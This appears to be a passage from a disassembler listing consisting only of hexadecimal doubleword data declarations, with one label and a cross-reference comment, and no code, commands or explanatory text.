dd 0CF2A008Ch, 716836E7h, 0AA545999h, 0D41C2684h, 4980F246h
dd 64B01AF5h, 0E6EEAFEh, 37C34A8Bh, 8E2D6F00h, 56039A67h
dd 0DDC9801Ch, 3373A02Eh, 9768308Fh, 6F8B7F68h, 0CB11D003h
dd 90EDD852h, 0C94FD17h, 81B1E521h, 63030A91h, 0BB686037h
dd 0CF0800A2h, 81DF185Ch, 0AD192390h, 9B58FB20h, 7A463510h
dd 61459600h, 281A70FAh, 498700A2h, 0F7B6D84Ah, 7D54CEBEh
dd 531D04BCh, 8DD4B2E5h, 35578580h, 43D9043h, 7259158Ah
dd 0D000F8DDh, 1683454Ch, 0EB002B9Ch, 8A1CE462h, 318E36B5h
dd 0BE29E913h, 0E549803Dh, 0EA55EFEEh, 60E00331h, 6477A7A4h
dd 0E0DC4881h, 0A14A33Bh, 88F0339Ah, 19298092h, 0B1080FBDh
dd 0F94E0900h, 27B26611h, 0EC4A0B98h, 8B50A4EDh, 8E295D00h
dd 0B1E4E9DAh, 3841C784h, 0A506C042h, 9000D43Bh, 2F54ECE7h
dd 1FF2127Fh, 353252h, 0A87CFFFAh, 8E3062EFh, 854C10D3h
dd 0E55700B7h, 86F4DDCDh, 52E09536h, 7727A103h, 808FD1EBh
dd 14093C7Ah, 9CBE9694h, 0DCFB5580h, 20037DBh, 0C6EA28EBh
dd 33E69Ah, 583162A8h, 76970B78h, 0DA18907Ch, 46B18F17h
dd 18990082h, 0C35BF05Ch, 0D9018D0Ah, 7F41424Ch, 57ED762Fh
dd 318A80F9h, 80D09968h, 27ECFEA5h, 4171F4ADh, 6EB34207h
dd 58E707D0h, 437D5100h, 0FEC10E60h, 74C0D1FDh, 0CCAF138Bh
dd 90EE0170h, 2C09BD00h, 98D905FFh, 0C8435256h, 3C038E22h
dd 9CDB1CF7h, 3D2FE70Ah, 0F37A45C0h, 0B085E653h, 63602B28h
dd 13D86E8h, 987FA996h, 8A0C3554h, 7A7C88h, 7440D22Bh
dd 0D988C6F5h, 0FF6AE3Ah
dd 3FE5773h, 3D851831h, 0D1817889h, 632D3D21h, 184022C4h
dd 2519368h, 0B7C81FBBh, 3EADC991h, 40B47E81h, 0DF288BAAh
dd 0EC83D585h, 4F037E7h, 0B330E54Ah, 997761EFh, 54455162h
dd 7259CEB1h, 687024E1h, 817F801h, 0B88EC7E8h, 4FD46A31h
dd 8688005Bh, 7775DD69h, 1043E7Fh, 8FAA2426h, 0E50530D0h
dd 90A90114h, 5C8B88E0h, 173093A8h, 0A4554420h, 0F0A90143h
dd 4BC7330h, 8612E872h, 0B6227090h, 77FF0182h, 98E7F57h
dd 349980D6h, 0E55A7E90h, 0D8874CBBh, 844AD8C8h, 8333B808h
dd 9D6852EAh, 0F41E148h, 3F7677F9h, 0BE17AB0Fh, 30F4CACh
dd 0FB4203F3h, 3660003Dh, 0CEEB46B9h, 99793FB4h, 90181648h
dd 0CC38003Ch, 0E908F75Dh, 0A4D0026h, 5F4E430Fh, 1CA1CD91h
dd 452A10A6h, 362F300Fh, 0FF8F2120h, 3E9D7506h, 13A18C0Bh
dd 30902FDBh, 2AFDCCA4h, 0C7060C00h, 4A94E92h, 135B888h
dd 639B183Dh, 23033EAFh, 90552140h, 0C8C49107h, 0BB68091h
dd 79BC2FE3h, 5300DA75h, 0E6C1ACF5h, 13C89A5h, 0B4636D72h
dd 20B90967h, 92889840h, 32CE0081h, 3B414926h, 5B00CAFEh
dd 2EBD1517h, 493E834Fh, 0B7043869h, 0C035AD93h, 0B8514A30h
dd 2E7ED214h, 8480C8E4h, 40DD737Bh, 0FA449939h, 0F9C5011Fh
dd 43E960Eh, 35E911AFh, 906936E0h, 0A3682470h, 0EA728C10h
dd 46005C41h, 0FD4CE397h, 0F1996Fh, 0B940AC0Ah, 8001D91Ah
dd 3568B803h, 9A47B45Fh, 99C40BDh, 8E180CAFh, 5549D90Dh
dd 0EA991605h, 0AC4041BEh, 5F8D5096h, 270A1DEDh, 937A82BDh
dd 6A431E43h, 0DB8EE1E0h, 18115E38h, 5849DA4Ch, 10832419h
dd 12BE3F48h, 80E89174h, 5934AC30h, 0B907A18Bh, 0AEE50EC0h
dd 11701079h, 0B5E488DCh, 0CF0189DFh, 8334B612h, 72021183h
dd 0ADC0B5DAh, 0B350B831h, 0F8A418BCh, 0B636FC00h, 2ABD3B0Eh
dd 0B24A0303h, 0B922F129h, 1CF4CBA8h, 93FE5600h, 0AFB462EAh
dd 7BFCA004h, 3EA60A89h, 43C0A302h, 89003FBEh, 8B2B4638h
dd 13739Eh, 8479F799h, 0FD36EBEAh, 91E2341Dh, 8EEEE0C0h
dd 922F070Eh, 8A1830D4h, 0DC76CA99h, 0B87BA100h, 0BF91CCC1h
dd 83E1854h, 9C43718Fh, 0AA6E3901h, 0AB682736h, 0BF811986h
dd 0BC1E8937h, 3947242Bh, 0B8B088A6h, 0B8F1ADC3h, 147768Eh
dd 2E9C22CBh, 70DC3FB0h, 0EA267FD7h, 6E60BC36h, 9028C6Bh
dd 2B98C7F0h, 325D6883h, 0A946103h, 0D1E73C7Bh, 783036F3h
dd 80149472h, 1E8064D2h, 1C325C68h, 278758B3h, 6A9090E8h
dd 0EE0E849Eh, 0C0170AECh, 0E4916604h, 916499B3h, 0F4D68B14h
dd 70461F54h, 33C50AF1h, 0AABBB588h, 0CAF804F4h, 0A95EC0D2h
dd 8B5404B0h, 267A2840h, 41DA862h, 0D6CEE1E2h, 0EFE0A32Fh
dd 0EAF6C08Eh, 0FC9A203Dh, 0AD9BB702h, 0C208FA5Eh, 74ECCCE8h
dd 21420012h, 0A073F50Fh, 0EC00AF82h, 1556ADE9h, 2B33A2Eh
dd 5985E04Fh, 0C068831Bh, 8A88C639h, 81320397h, 9018CAE3h
dd 0CD8FA100h, 46E1A2C1h, 97B400BBh, 9BED0AA1h, 5AE62C06h
dd 0B7868919h, 6C20AFD9h, 60AA0046h, 38802FCDh, 100050FBh
dd 889FBAC2h, 0E43BEA74h, 28F77CBh, 6B12E01Eh, 80608724h
dd 7E17FF8Eh, 0C421180Fh, 7D20397Fh, 62D8B52Ah, 9625B100h
dd 78E8CAE7h, 0ADAA3FE9h, 249024h, 0EF135065h, 810E1596h
dd 37C44Ah, 207DDD80h, 0FD5C2ED5h, 25D1D64h, 0AFDB7840h
dd 8A00B5C3h, 8DC58B79h, 0B1AD3FDFh, 1BCB8024h, 43A72FF4h
dd 68FA180Ch, 2F79990h, 0C59AEB5Ch, 0A8C08DD1h, 0A043B46h
dd 43AFF99Eh, 0B810C88h, 0BDF8C45Fh, 15770082h, 12D13060h
dd 41B0B812h, 19982032h, 73E0093h, 0DE21DF92h, 8E016258h
dd 0F48BE9E0h, 0F041EFDFh, 0D060DB55h, 0EAE0887Fh, 8EA3D438h
dd 0AB3360ADh, 188C8A0Ch, 64C6DF60h, 0B6181CECh, 0AF650010h
dd 0E55991AEh, 217033F3h, 96B09013h, 311E409h, 88FEAE38h
dd 9DB2D9h, 779CBA34h, 5AC57853h, 0ECB3A828h, 0C044B8B0h
dd 0B411097Eh, 0DC409274h, 3588FF0Ch, 4E574CBAh, 0B43E8F00h
dd 9A6970Dh, 0E059A706h, 2290DA4Bh, 0F894E715h, 0C2E81740h
dd 8AFD04E4h, 0C17DEAB8h, 918FE188h, 0E40AE230h, 86C85BAh
dd 9C94D60Fh, 0E00A7C90h, 0D0888D8Fh, 0F98E0738h, 80FBB4F1h
dd 99ADABD8h, 0FEF3256Fh, 0A140B810h, 29C88800h, 531A515Bh
dd 3C0B0083h, 8FDBFC1Dh, 87A0E5B1h, 0AD17D360h, 980888DDh
dd 0B1E486F4h, 84B19197h, 0B96F7080h, 0BA3036Bh, 8666BA5Fh
dd 0A4154280h, 0F20C4D2Eh, 60D4528Dh, 0B789C034h, 175EE454h
dd 6382DC02h, 50D867BCh, 73410738h, 30C92A55h, 0D4EB7CF0h
dd 0C018105Ch, 1FE48DF3h, 0E7FC0079h, 0DF670CEh, 8150A47Bh
dd 0EF440CA0h, 87CC94BEh, 45A731h, 9578EEA5h, 2D5F7000h
dd 3B633DBh, 7B180246h, 3980D786h, 0C7E874E4h, 83A822Ah
dd 8BB9A83Ch, 848F2FE4h, 1140E230h, 0C85A5F87h, 320071FCh
dd 4BEA501Dh, 17686B37h, 40925999h, 0AE58E4Ch, 9B4887B5h
dd 0B7060184h, 676B36E1h, 86AE2890h, 0EA40850Ah, 0C061F898h
dd 56BB26C9h, 3F34B2E5h, 0FCCC988Bh, 12B6000Ah, 14FA2FA1h
dd 1AEE72ACh, 0C62040B8h, 90D10530h, 99364D7Bh, 18888088h
dd 4E863A79h, 27D900E0h, 0E6E5EBE9h, 0F7053746h, 0BA974031h
dd 7980E5C0h, 0D7472660h, 0EF8180CCh, 3FA3435Eh, 724FC601h
dd 0DF282FF0h, 78FB5987h, 0EBAA1FE5h, 98FF02EBh, 6878E75Ah
dd 0CB3A8F03h, 48E8E9E2h, 429E1818h, 0B02BEAFCh, 0A2AED060h
dd 0C6966F30h, 1FDF2237h, 80EC60h, 0B64B5726h, 0BE3BC733h
dd 2B800D4h, 0B290D603h, 42601772h, 0AF009E2h, 0E3715810h
dd 0F18FDCA8h, 0C0F69800h, 643F652Bh, 43CD135Dh, 0DB9000FEh
dd 93289725h, 0D702D878h, 8E5179AEh, 9DEBC0B0h, 3CE007h
dd 8403EC62h, 0DDB982B4h, 98135C07h, 30558087h, 78F308CCh
dd 0E7B60011h, 5BAF35B4h, 280A6094h, 7C8EDAE0h, 8D702F00h
dd 0B08BB9EEh, 83F32C84h, 21F064E8h, 643D6727h, 0EAA1450h
dd 55CA5F83h, 28A26860h, 0B571C79Dh, 82507D25h, 0D62504h
dd 65B03BE9h, 9516E400h, 90393437h, 0E611318Eh, 833ABE61h
dd 1529D091h, 8DEE91Fh, 7C18FB70h, 80A5015Ah, 252F214h
dd 78C2834Eh, 0C090A915h, 283ED185h, 4C384A03h, 0B0807CBDh
dd 991A6FECh, 8E7BA400h, 59F8841Ch, 489C00EEh, 0EAD756C4h
dd 6F05B825h, 83BA9913h, 0F2788470h, 5E5F40F6h, 415A8498h
dd 1ED6C840h, 582DA182h, 0DB30B028h, 5EF25619h, 8A3E0801h
dd 1A577C80h, 78DD0842h, 0CC14FB84h, 8FA9298h, 54D31924h
dd 0DAE83A3Eh, 3060B004h, 3F8E2A41h, 0D74E034h, 745DC13Ch
dd 702D1F24h, 0BC20BF13h, 0F4F1246Dh, 88CA503Fh, 0ECA4883Ch
dd 3DAB1B00h, 0B30DAF57h, 0B544136Eh, 9F140345h, 0CAAA77FAh
dd 99A2E086h, 740014B9h, 1476926Fh, 61830064h, 8780AD56h
dd 8674B3E5h, 737730C1h, 91912BA7h, 0B226013Bh, 97128BBAh
dd 0BE77033Ah, 0ACBA8031h, 0E508B8C9h, 8B8460F9h, 0FCCE8288h
dd 218A62E8h, 0FC0F996h, 0BF83788h, 0A619E367h, 0A82017C5h
dd 3C6BBA11h, 0C4012D0Fh, 7A7BF82Ah, 90A63197h, 8D22C631h
dd 3A739300h, 35582BB1h, 78D6003Bh, 4B03C9CDh, 0E0B4EF07h
dd 0B7A0C40h, 31870B94h, 6A00EA1Eh, 0EE063DC4h, 288EB704h
dd 0C8F41882h, 4C400049h, 0D018C52h, 600A4A6h, 890B6C7Bh
dd 0B96BB012h, 1342E6Ch
dd 225E5007h, 0B51020D9h, 0E8607CB1h, 0FC1237A1h, 0D9DC0694h
dd 5A65A073h, 0B132CE00h, 9184069h, 9537006Dh, 1F8CDCD0h
dd 31128307h, 0E7014A4Fh, 4684FF2Bh, 40B19820h, 0C49172DBh
dd 662A7107h, 60D23170h, 154158ACh, 395DCE01h, 62CB8565h
dd 80561010h, 0D9893D28h, 0D2B8B8A1h, 6BD4402Bh, 8AC38068h
dd 9E0E31C4h, 80FC3025h, 8CE45D38h, 5080FCA3h, 60069FEFh
dd 0C0C5E029h, 0E55422B0h, 0FCB7E844h, 91B40021h, 18EFBFDBh
dd 0F000347Dh, 0A328FD43h, 58BB888Fh, 6512606Ch, 0DD54D28Dh
dd 71AEE422h, 0B7C60CE0h, 0E6495868h, 804CC07Ch, 114CBE5h
dd 0D498919Bh, 36E8A363h, 84682914h, 0E1CAF00h, 0FE604DCh
dd 0B299163Bh, 302C0496h, 2C7CA2B0h, 5A40E872h, 570D41h
dd 9E051555h, 9A222C8Eh, 0DC07C0B6h, 4D04125Eh, 0F220C8E2h
dd 56E901E7h, 9DFFEC0h, 168E39F1h, 2660C468h, 0A14E009h
dd 90C86553h, 98A3A49Dh, 0A46FC700h, 1EB8A520h, 0FCD42200h
dd 949648EDh, 0E1C40144h, 73428FF8h, 8C7180E4h, 3A61D61Eh
dd 868301A7h, 0E8E27016h, 0C0AC2820h, 0CBE062Ah, 3B2638E7h
dd 0A704E200h, 0B49CCBA8h, 0BD601709h, 4A444436h, 0C0682818h
dd 5D62F49Eh, 1E8240CAh, 0A8FF4C3Eh, 0C85F9884h, 0D037279Ch
dd 0FF8F19F1h, 0EF147002h, 8D1CE087h, 0A130590h, 0E01CA6h
dd 726FEA8h, 0E53B6672h, 0D05FAC42h, 83E62809h, 0FA2ECD41h
dd 72AC4088h, 80FCB9E4h, 63E99EE8h, 3601B922h, 0DBFBC6FDh
dd 2720FF5Ch, 461F6C4h, 7AAF28C7h, 559CC10Ah, 0DE98888h
dd 2100A4E2h, 2010AD80h, 7E61E826h, 2F578019h, 8D80903Ch
dd 0DF40C659h, 0AC5FC900h, 0E46C58E3h, 8226013Dh, 60BBA94Fh
dd 298921B4h, 1D7222Ch, 1314BAD1h, 61860EE9h, 0EB52E0D8h
dd 0EC012B4Ah, 9A8CAC30h, 7E3D85D0h, 903C04E5h, 0A28DC88Ah
dd 0D85A0094h, 6362E8F7h, 0FFDA03A6h, 0B5F265D3h, 94388FA0h
dd 88428E17h, 8B0DD405h, 0E784AEC1h, 0E6040C29h, 8CDC19D6h
dd 60042F0h, 0ABBA7413h, 0FAE1867Dh, 0FCB00C2h, 0D25F17F5h
dd 4248D0D7h, 0F0568078h, 52A941Ch, 577A809Fh, 82080218h
dd 70412EA2h, 8851196h, 0B070E7E9h, 77DE000Fh, 0EAD004F1h
dd 0C099BDE4h, 50B65860h, 57904Dh, 0E72724CCh, 0C257BAD9h
dd 76F86C79h, 610C6478h, 4189B0E5h, 0AFC5057Bh, 906B053Eh
dd 0ED2C86E8h, 0DCBD341Dh, 0CB7CA8CEh, 992E0058h, 690B2E4h
dd 680A8F25h, 0EB7F5E3Ch, 20A489Eh, 27BD53h, 8CC0B248h
dd 8080BC68h, 0DF1B1895h, 0E500411Eh, 0E847FEF4h, 7D329B2h
dd 82EFB4F3h, 8C34D524h, 83001FCCh, 0C21BC9EDh, 116DB15h
dd 60C1D807h, 8A98BB57h, 0B0DF7308h, 979D3D80h, 7A14044h
dd 0DA9AA207h, 0E9272074h, 49F6ACBBh, 0F8CA3709h, 807B8BFAh
dd 3E2E4FE0h, 8C88BE04h, 0B851E072h, 0E378D017h, 0AA8EF207h
dd 0A4CCC364h, 54A00098h, 19623C08h, 42630ABh, 350154B8h
dd 132D58B0h, 30EAEBE4h, 93D142BEh, 6B05CC46h, 487B5CF1h
dd 94E4B500h, 399A14Ch, 0D25D739Fh, 9588A35Eh, 4A30BA35h
dd 0AB6250EBh, 0C9AD047Ch, 402F5898h, 0B33F088Fh, 915F0C52h
dd 381940BEh, 7F19313Ah, 0D6B7CA00h, 0CD6FDD06h, 1675058Ah
dd 0C00A8344h, 6C088034h, 14F1572Ch, 1AC464Bh, 0E5A3435Ch
dd 730A3ECEh, 30B0747Ch, 9958E420h, 31068014h, 0C22115E8h
dd 0FBDD1B01h, 6172F173h, 8ADCA205h, 6813C56h, 788AF99Eh
dd 203C9842h, 0EBF9373h, 0B069BD00h, 9B7DD9E3h, 90C055Bh
dd 80BA374Fh, 60B8265Ch, 18970B2Ch, 8E40B140h, 0E578C95Ch
dd 28F6588Eh, 9F2C0584h, 8F00C642h, 0DCC4814Ah, 0DD2A2E96h
dd 65B760F8h, 2CA99C0Bh, 630245h, 68ED18CEh, 88108F89h
dd 0A12CFE86h, 81C418A3h, 4111ED32h, 0C4116511h, 197C9766h
dd 0B3C01007h, 40DF0D5Ah, 2CB5370Bh, 630920F2h, 6CC05E55h
dd 615D00D4h, 8B98E0F5h, 218B23Dh, 55EACA09h, 1841FF28h
dd 33D10B2h, 0C088B995h, 90A8408Eh, 0C10B7B00h, 12048A70h
dd 0E14A0030h, 81D51F94h, 51E07E01h, 1A73410Bh, 434400BFh
dd 0E055E2F7h, 96980F71h, 0F680E131h, 9FEEF868h, 400079E0h
dd 0D705AFFAh, 2E81DE29h, 496CE928h, 733E0C61h, 228C4CBCh
dd 8817303Dh, 0F72C9B29h, 2BB9D5Ch, 728E4947h, 98844A8Bh
dd 3EF675B0h, 59803B3Eh, 0AB151ADCh, 60002DECh, 0FA45B62Ch
dd 5256D6E3h, 0E52FC81Bh, 832F1887h, 0E1C0EFFEh, 88A08235h
dd 34028DC6h, 0D0283738h, 0A68E080h, 0C210B696h, 80595798h
dd 4748D603h, 0E008BB73h, 2460DF6h, 82A0AFCBh, 0E4D16B61h
dd 60009C11h, 0A4277E0Ah, 85241E55h, 8E003BF6h, 0E7C84B0Bh
dd 86C50066h, 43B573Eh, 0BD020AF8h, 3CE28B07h, 75B08076h
dd 40A94930h, 0A001B2FEh, 0D8B442B0h, 5863C0B5h, 1978F100h
dd 4A6AEE63h, 65EBA00h, 7012A20Fh, 0F6DD58F5h, 0B10ADF00h
dd 0E88A58A1h, 81388503h, 0B8C7727Ah, 1604BA36h, 230F0793h
dd 0FA9A50C4h, 5F1F08C0h, 1E44424Ch, 63059535h, 0B421B9E5h
dd 0B2C8AA36h, 0D7372C3Ch, 108A16E4h, 0A054B227h, 93708891h
dd 0AC05C777h, 4CB86E1Eh, 12B25883h, 0B4737729h, 9A3855A4h
dd 0B3B48032h, 78EC41C4h, 0A8C3025Bh, 0D003013Eh, 0BF8268C0h
dd 4890434Eh, 176E0F46h, 21916605h, 2B183530h, 0DFECA040h
dd 1CEC3F1h, 0A94FD8Ch, 0F87F377Dh, 0F2285EE1h, 405FF8D7h
dd 0EFDA0470h, 7DC00379h, 0E7125C49h, 8E4FA280h, 26733F5Ch
dd 3663A007h, 38A3853Eh, 0A91A1F00h, 82FF90D1h, 25C3EF0h
dd 0E57286ACh, 0ECA600A9h, 0DBD43651h, 9BEE5F29h, 5A43B104h
dd 0D4803C10h, 0CCE644h, 0EA6EB014h, 80A4762Bh, 0E1EAAD78h
dd 9948457Dh, 0F7C80020h, 66EFDD82h, 26561490h, 5104A2FAh
dd 843584A8h, 6AF8C0FCh, 0F01372ABh, 1C20FF3Dh, 8B355E98h
dd 8DA06E2h, 448FDB27h, 50524C90h, 0E280005Ch, 9155124h
dd 0CB16AD00h, 0E1FABF38h, 4A6F0021h, 55C46DABh, 0B080F1h
dd 7A26C544h, 786F24E5h, 83344D4h, 0C3E890Fh, 1412F05Ah
dd 6CF282A9h, 0DDFAA202h, 4C6039BBh, 883D3A4Bh, 0B8A901FCh
dd 6EADA11h, 7053B0C0h, 708EB807h, 0DC74005Dh, 0BD23E8Fh
dd 4909AFE2h, 67E1DDh, 0FE9E9871h, 984F272h, 0F3E7BA3Dh
dd 0B0AC6580h, 1A00C145h, 0C78B2FB7h, 985C768Dh, 388160E7h
dd 0B02384A4h, 0E4495071h, 8A7B0090h, 5785E04Bh, 0E19A0E1Ah
dd 7500A9AAh, 0F93A6B9Bh, 4DE0FE72h, 0F25608A0h, 31DF14A1h
dd 0BD99F47Ah, 5B84A496h, 44B8B138h, 3D008C22h, 5EF07B13h
dd 0ADEC61h, 0A692DE08h, 0B86B150Ah, 273081EDh, 30834702h
dd 0B0D6E020h, 0D8042514h, 0AE075CECh, 546ECB2Bh, 8DFD01E0h
dd 0C53C1233h, 41B817ADh, 20F85B4h, 2790CF8Eh, 3607897Eh
dd 372268AFh, 9F91AECh, 6198DD2Dh, 0B4D7F493h, 0E424B40Ch
dd 0E088BB7Ch, 3B700039h, 298CDCBCh, 0D4306975h, 1E5608F6h
dd 6CA95DAFh, 0F73E5A3Eh, 0B2DA6201h, 0D1E53474h, 0BCC2148Bh
dd 0B1E422DCh, 3CA084F9h, 0D22A20E8h, 10F0844h, 0C0309509h
dd 0D56E9DFh, 1C1E018Ch, 37772FA6h, 3A506218h, 8F6B007Ah
dd 0B687FC63h, 0E4EA12EFh, 0DFB8F4B3h, 0B2377E02h, 0E05E8E6Bh
dd 12563E4Ch, 4E367B7h, 418F0964h, 8E4C8743h, 75FE0h, 3F8BDBE0h
dd 1F5DD9E5h, 0F55EE8C4h, 1D558080h, 0BC490AC1h, 7BDFF34h
dd 15E4704Fh
dd 78B088BDh, 84C2924Bh, 5D9822A1h, 39896065h, 0C05E0091h
dd 26315AF0h, 9C4A2F4h, 0FC727329h, 3D095500h, 5B4A7265h
dd 1AFB0ECh, 0ACC73839h, 0E8E16A18h, 2C1E7F19h, 0C9CE06EDh
dd 0C0800295h, 0D6D3804Ch, 0B2DD21h, 0F76AB0D0h, 0E9A10CF5h
dd 1FE42C07h, 0E30256E8h, 0E0E54165h, 0B433C2F8h, 90E712ACh
dd 2F54A814h, 80701848h, 0CF80134Ch, 507E0049h, 0FFDBF0CEh
dd 0BB0C5A7Ah, 84260ADh, 0EA2A0028h, 9BC9F18Fh, 0D6489047h
dd 34435B84h, 0D3E76EB7h, 5F85D82Ch, 0AD5C2FE4h, 8EEFC080h
dd 995C1D12h, 50E00284h, 4280DC5Bh, 5008569Ch, 79000E6Bh
dd 77C53E78h, 11AE64Ch, 12D09835h, 7240B0B7h, 970C061Ch
dd 0E00633h, 35ADA3B9h, 3D68378Fh, 724FA9E0h, 0C8E95C40h
dd 1E0A0402h, 0CE09CC8Fh, 3027793h, 0E4E5E0E8h, 10B0B193h
dd 0DA53270Ah, 0C4FFA866h, 2812A148h, 0CC8782E0h, 0E2165E52h
dd 43CCE4ECh, 18C620F6h, 21D7168Eh, 1C9681CAh, 800402E4h
dd 325BC07Eh, 68F118D9h, 17553800h, 40907328h, 132B9B96h
dd 901D1Ah, 8EA53764h, 197D55C8h, 0B84A5CB0h, 2EF0BC2Dh
dd 0D9AD0FF3h, 99180E8Ch, 0E488DE0Dh, 1638B9B7h, 0CE2404DFh
dd 48B21258h, 0A3615B00h, 99E45E7Dh, 57F2C70Eh, 8ED4A0AAh
dd 24B0D19Ch, 26D6E7A0h, 9BB240D8h, 3A017487h, 8E5FEF48h
dd 343017A5h, 0BEE52428h, 0FF3200C0h, 6DEFBF6Fh, 5CB9212h
dd 3752C807h, 1795E4B0h, 828D1281h, 0E5A80824h, 72846580h
dd 0C19DD5h, 93C49821h, 0F74E8AB0h, 62E03F25h, 0DFE038FCh
dd 30C89171h, 12B51842h, 3FA5110Eh, 8C0EFD50h, 42B92086h
dd 26EF5281h, 60543061h, 27CE093h, 0D1994F00h, 25EA84D9h
dd 2FD4E33Eh, 34AF090h, 0B2AD4D09h, 4BEA86CDh, 0CC8E08A5h
dd 34008DD4h, 0F8884951h, 9142D0E1h, 0F6FE0920h, 5F889445h
dd 7B00BD38h, 0CAAA960Bh, 8F3EF327h, 0B8298B2Ah, 0FC3C8862h
dd 5C8E4260h, 14A3134Bh, 38E3FAh, 0CAEF5B66h, 3BC4BFD0h
dd 7D9FACh, 9AF05B4h, 0E941D12Ch, 0F9A60A12h, 576D5802h
dd 0DA4D18F2h, 0AD9BB509h, 987931h, 632449E1h, 3A07DB13h
dd 0C4BB299Fh, 93CE3F0h, 14E23931h, 12D4520Fh, 0B244B0A5h
dd 909B2158h, 0E3E08ABh, 0E585898Bh, 0D27BCC99h, 0CDDD040h
dd 7478DF81h, 253A5D80h, 8DF0F1FDh, 0B5D0A600h, 0BAD29A96h
dd 18C858C9h, 264A0171h, 28EAE08Eh, 0FF42183h, 10E5279Ch
dd 2372A8h, 0D83A8719h, 74589AE6h, 4A675932h, 95F4C412h
dd 91109090h, 68299E01h, 9D2730Bh, 0F6D0E861h, 0AC220A04h
dd 62F08616h, 27203055h, 9056DFCFh, 2530760h, 40E196D6h
dd 0ED30ABF9h, 0E242B713h, 0E27E58C8h, 571005Ah, 828BEB50h
dd 0ED03671Fh, 0B24ACFFCh, 94E0A1EFh, 77B77040h, 0F1D613E9h
dd 1C3000D7h, 2D8C993Bh, 6098E013h, 23DAC90h, 44B9B596h
dd 5A1AF839h, 0F873FD12h, 1CABF0B0h, 6966FEh, 4460DC6Ch
dd 0F10356F4h, 3584AA82h, 1197E150h, 9FE8E0E2h, 3C5B0191h
dd 0F86A71B0h, 0A612C805h, 0D9080397h, 0E4981346h, 94824B5h
dd 0A066379Dh, 23641C96h, 3E17A0B6h, 5C148803h, 908F2F44h
dd 17D742B4h, 4C05D8FCh, 108295F8h, 1447960h, 225CF29Ch
dd 3C3C7045h, 91FB3B25h, 29A0F5BCh, 22E042FCh, 0EDCA3834h
dd 0D2B95B96h, 0DF21BF18h, 2D301A44h, 183518DDh, 79981993h
dd 0B1073673h, 34FBB087h, 66838170h, 0CE865CB9h, 0CB632500h
dd 88E643E5h, 10055C90h, 520F8E09h, 98088456h, 9D7EBE8Bh
dd 789E5C16h, 0F74035C4h, 1E31D23Dh, 7314A102h, 747155C7h
dd 2FA0115Ch, 5D42072h, 3919F70Fh, 74001AA9h, 6AC7F839h
dd 480044AFh, 0C3B010C4h, 2669E1ADh, 34640EEEh, 0CDCB8011h
dd 0DB6F2FE6h, 0CEB8A10h, 1C08104Dh, 0D0674E8Eh, 55EC1800h
dd 3C13BA01h, 5698BB64h, 0B420EC49h, 0FF28164Ah, 0D65C05E4h
dd 13D88884h, 0BDD02397h, 17313B36h, 0A5C6A200h, 9030A703h
dd 843FE8B4h, 0F0576B08h, 304B0221h, 8F808B74h, 0AF1401E5h
dd 76705FB0h, 9C006091h, 0DC30B43Dh, 82504878h, 67F21574h
dd 160C1074h, 0C009B606h, 5B0CC868h, 0EFFFE5Dh, 0E372198Eh
dd 90394585h, 71088504h, 0D62C575Ch, 6B5C3861h, 95CA5430h
dd 0B2334402h, 4EB93500h, 83251EEBh, 1C482DD7h, 10F2EF58h
dd 981730BAh, 70313964h, 253ED614h, 0B99091F4h, 8E21592h
dd 65201900h, 4F045226h, 1BC89B01h, 56BBC973h, 0A7006C23h
dd 7B757F1h, 9D030478h, 0C15CFE45h, 3080E076h, 0D6115CB2h
dd 3E12E039h, 2478C204h, 0BE0E7CF1h, 801700A4h, 0F6C40F29h
dd 0AB350051h, 10B04C8Ch, 0EC1558EBh, 0AC08B2Ch, 94D65998h
dd 1C64A5h, 1E8E9002h, 7A3832D8h, 72CB1870h, 5CC50Dh, 0BD8B52Ah
dd 420013A5h, 0AAAB8F3Fh, 9060DF26h, 88CE4B9Ch, 443C6904h
dd 781B80E2h, 3EB104F0h, 9A010108h, 0CBA2183h, 40BC7CEBh
dd 208A3FB4h, 0DFE4BA4Ch, 0CF7D00A5h, 9705F0AFh, 6801B012h
dd 0C0B9D64Dh, 0C6D4BF0Ah, 303E059Bh, 5970B58h, 940B008h
dd 5C058214h, 7DDE815Bh, 0EE2DE0A8h, 354C08A4h, 8EEF005Ah
dd 36E37FE2h, 9D6F2597h, 0E922B4C4h, 9800B784h, 0D26C368Fh
dd 401C9072h, 0BA8EDF25h, 0FC1656CDh, 808560C0h, 51B00C27h
dd 0E508F007h, 8418B848h, 0C088158Eh, 0F43744BEh, 0C1457607h
dd 61B125E1h, 502F013Eh, 41219448h, 4C008C11h, 5C562D93h
dd 0BF01958Eh, 2B8E90Ah, 709134CBh, 0DC7B0080h, 48D6115Eh
dd 0CF77000Fh, 921E56D0h, 31001BBBh, 26576976h, 9EFF6Ch
dd 0B580CE5Bh, 39506EB0h, 8AE8F204h, 0C8A18ECFh, 1844463Eh
dd 47E618Dh, 9901FD75h, 0EF3BE0EEh, 10C8160Bh, 0A5ECBC70h
dd 91441C6Ch, 0B8230098h, 3C2D5414h, 0F927BE7Eh, 42784287h
dd 40140BB4h, 4CDD700Ch, 0BE2E4C2Fh, 185672C0h, 0C854126Bh
dd 4FCE526Ch, 10B0CA90h, 2F8F8DD9h, 50E8E28Bh, 4E00B035h
dd 0FCB1F67Eh, 900E60EFh, 57A2EC8h, 108B5958h, 40203E85h
dd 3C98B7D9h, 0D805650h, 9B303D14h, 3220184h, 0DF4AD6F1h
dd 8E065885h, 8160B80Bh, 0E4EB540Eh, 71E98DC4h, 9E0248Ch
dd 0C8E0585h, 0C8AD34h, 56EF83E2h, 1DD95A05h, 0C06AB036h
dd 8AD89612h, 395481A0h, 8905A808h, 0ED2C8274h, 7C1294E2h
dd 2CCE1634h, 0CC006368h, 5FD33DCBh, 0C37E730Ah, 9BBDE479h
dd 0E8E410Dh, 0BC6331ECh, 0DC764500h, 0C5D1EA35h, 4C4F1A00h
dd 0BD0D987Bh, 0F5F43E29h, 57D53F01h
dword_544450 dd 3BEA1570h, 4926704Fh, 56B49047h, 0C1EE0E1Dh, 574E40A8h
; DATA XREF: ___:off_44452Co
dd 8F52Ah, 2B347B08h, 0E70041CFh, 2A9D195Ah, 2ED050ECh
dd 0A14B7Dh, 0B6625433h, 84079020h, 0DFEE450Bh, 40C61880h
dd 0EFF605EBh, 0C95D98D7h, 0CE0E3050h, 75E01490h, 8A05F00h
dd 0FDF2568Ch, 91A502BBh, 1A5754A8h, 2038088Ah, 80350714h
dd 708A47E5h, 0A2A909D9h, 6488E04Ah, 0C125004Eh, 0E380E938h
dd 9F099AF3h, 71611FC9h, 8C741650h, 682F23A0h, 0CF3824B9h
dd 0E900388Eh, 5BA8B38Eh, 5343E52h, 0E8A219A4h, 98621500h
